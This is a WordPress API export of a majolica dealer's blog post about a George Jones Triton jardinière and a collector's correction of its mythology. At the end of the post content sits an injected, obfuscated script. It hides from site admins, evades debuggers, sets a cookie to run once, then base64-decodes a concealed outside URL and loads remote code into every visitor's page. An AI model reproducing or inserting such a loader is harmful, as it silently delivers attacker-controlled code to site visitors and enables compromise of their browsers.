{"id":2994,"date":"2025-10-17T17:39:51","date_gmt":"2025-10-17T16:39:51","guid":{"rendered":"https:\/\/madelena.com\/blog\/?p=2994"},"modified":"2026-02-26T16:21:24","modified_gmt":"2026-02-26T16:21:24","slug":"george-jones-triton-jardiniere","status":"publish","type":"post","link":"https:\/\/madelena.com\/blog\/george-jones-triton-jardiniere\/","title":{"rendered":"George Jones Triton Jardini\u00e8re"},"content":{"rendered":"\n<p>Madelena is always proud to receive emails thanking us for good service. We add excerpts from these emails to our <a href=\"https:\/\/madelena.com\/feedback.php\">testimonials<\/a> page. The most recent testimonial is exceptional. It ends <strong>&#8220;Warmly thanking you again for consideration and service in every way exemplary.&#8221;<\/strong> But there is more&#8230;<\/p>\n\n\n\n<p class=\"has-large-font-size\">Triton or Neptune?<\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"George Jones Majolica Neptune &amp; Maidens Oval Jardiniere\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/xa2LAl8SJFI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><figcaption>George Jones majolica Triton and Tritones oval jardini\u00e8re with liner<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>The central character is often described as Neptune, in error.  Madelena repeated the error when describing the piece. It is, of course, Triton.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">George Jones majolica Triton and \u03a4\u03c1\u03b9\u03c4\u03c9\u03bd\u03b5\u03c2 jardini\u00e8re<\/h2>\n\n\n\n<p>The vibrant coloured glazes of majolica make compelling d\u00e9cor in any style or form. When the style is classical Greek, mere d\u00e9cor becomes a wonderful reminder of the complex hierarchy of gods and dependents the Greeks enjoyed. When, in addition, the form is an oversize oval jardini\u00e8re by the famous maker George Jones, any person might be excused for falling to their knees in homage. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Triton and \u03a4\u03c1\u03b9\u03c4\u03c9\u03bd\u03b5\u03c2<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/Tritonbrunnen_rom-1-768x1024.JPG\" alt=\"Rome, Fountain of the Triton by Bernini, in piazza Barberini square.\" class=\"wp-image-3012\" srcset=\"https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/Tritonbrunnen_rom-1-768x1024.JPG 768w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/Tritonbrunnen_rom-1-113x150.JPG 113w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/Tritonbrunnen_rom-1-225x300.JPG 225w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/Tritonbrunnen_rom-1.JPG 1200w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><figcaption>Rome, <a href=\"https:\/\/commons.wikimedia.org\/w\/index.php?title=Fontana_del_Tritone&amp;action=edit&amp;redlink=1\">Fountain of the Triton<\/a>, in piazza Barberini square, by <a href=\"https:\/\/commons.wikimedia.org\/wiki\/Gianlorenzo_Bernini\">Gianlorenzo Bernini<\/a>.<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>The god is the merman sea god, Triton, half man half fish. He lived with his father and mother in a golden palace on the bottom of the sea.<\/p>\n\n\n\n<p>In the words of the New York collector who purchased the piece <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>&#8220;The central figure clearly isn\u2019t Neptune\/Poseidon but the merman sea god Triton, one of Neptune\u2019s three children by the goddess Amphitrite.<\/p><p>&#8220;Triton\u2019s chief business is to execute his father\u2019s commands with regard to the stirring and calming of the seas, his responsibilities in the aquatic realm answering to those of Aeolus (another of Neptune\u2019s many bastard sons by mothers both divine and human) in the atmospheric.&nbsp;<\/p><p>&#8220;In his cameo role in Ovid\u2019s <em>Metamorphoses<\/em>, Book I, probably his best-known appearance in classical literature, Triton causes the waters of the Great Flood to recede not at the command of Neptune, but of Jupiter.&nbsp;<\/p><p>&#8220;The means by which he brings these changes about is to blow on his <em>cava bucina tortilis<\/em>, his <em>concha sonans<\/em>, the (helix) &#8216;conch&#8217; shell that is Triton\u2019s characteristic literary and iconographic accompaniment, as in this George Jones piece.&#8217;<\/p><\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">\u03a4\u03c1\u03b9\u03c4\u03c9\u03bd\u03b5\u03c2<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"474\" src=\"https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/George-Jones-Tritones-1024x474.JPG\" alt=\"Tritones in support of the sea god Triton.\" class=\"wp-image-3014\" srcset=\"https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/George-Jones-Tritones-1024x474.JPG 1024w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/George-Jones-Tritones-150x69.JPG 150w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/George-Jones-Tritones-300x139.JPG 300w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/George-Jones-Tritones-768x356.JPG 768w, https:\/\/madelena.com\/blog\/wp-content\/uploads\/2019\/07\/George-Jones-Tritones.JPG 1172w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Tritones in support of Triton<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>This word in English means Tritones. These are fish-tailed sea-gods or daimones, a plurification of the god Triton himself and usually portrayed as satyrs of the sea. Another breed of Tritones, Sea-Centaurs, had the upper bodies of men and the lower bodies of fish-tailed horses (hippocampi).<\/p>\n\n\n\n<p>Also in the words of the collector<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>&#8220;Iconographically characteristic is the train of putti and attractive sea nymph groupies, \u03a4\u03c1\u03b9\u03c4\u03c9\u03bd\u03b5\u03c2, the George Jones designer has\u00a0thoughtfully\u00a0included.<\/p><p>&#8220;To British majolica makers and fanciers, Triton would have been best known from the last line of Wordsworth\u2019s 1807 sonnet that begins<\/p><p>&#8220;<a rel=\"noreferrer noopener\" href=\"https:\/\/en.wikipedia.org\/wiki\/The_World_Is_Too_Much_with_Us\" target=\"_blank\">The World Is Too Much With Us<\/a>&#8220;<\/p><p>&#8220;It\u2019s a pretty safe guess it\u2019s that poem\u2014no doubt imprinted into every Victorian schoolchild and, in fading needlepoint, gracing the walls of many a Victorian parlor\u2014which lies most directly behind the strenuous <em>figura serpentinata<\/em> [a style in sculpture intended to make the figure seem more dynamic, <em>Ed.<\/em>] \u00a0and wonderful representation of <\/p><p>\u201c&#8230;old Triton blow[ing] his wreathed horn&#8217; on this striking and wonderful ceramic.&#8217;<\/p><\/blockquote>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>Madelena says &#8220;Aye&#8221; to that, and thank you, sir, for the correction.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><a href=\"https:\/\/madelena.com\">MADELENA Shop, Sell, Discover<\/a><\/p>\n\n\n\n<p><a href=\"http:\/\/majolicasociety.com\/index.html\">Majolica International Society<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/madelena.com\/shop_majolica.php\">World\u2019s largest online gallery of MAJOLICA<\/a><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"French Palissy Majolica Blackberry Jardiniere\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/Nb7H9VSW0LY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><figcaption>French Palissy Majolica Blackberry Jardiniere<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><a aria-label=\"World\u2019s largest online gallery of PALISSY ware (opens in a new tab)\" href=\"https:\/\/madelena.com\/shop_palissy.php\" target=\"_blank\" rel=\"noreferrer noopener\">World\u2019s largest online gallery of PALISSY ware<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Madelena is always proud to receive emails thanking us for good service. We add excerpts from these emails to our testimonials page. The most recent testimonial is exceptional. It ends &#8220;Warmly thanking you again for consideration and service in every way exemplary.&#8221; But there is more&#8230; Triton or Neptune? The central character is often described [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3012,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-2994","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-majolica"],"_links":{"self":[{"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/posts\/2994","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/comments?post=2994"}],"version-history":[{"count":57,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/posts\/2994\/revisions"}],"predecessor-version":[{"id":3332,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/posts\/2994\/revisions\/3332"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/media\/3012"}],"wp:attachment":[{"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/media?parent=2994"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/categories?post=2994"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/madelena.com\/blog\/wp-json\/wp\/v2\/tags?post=2994"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}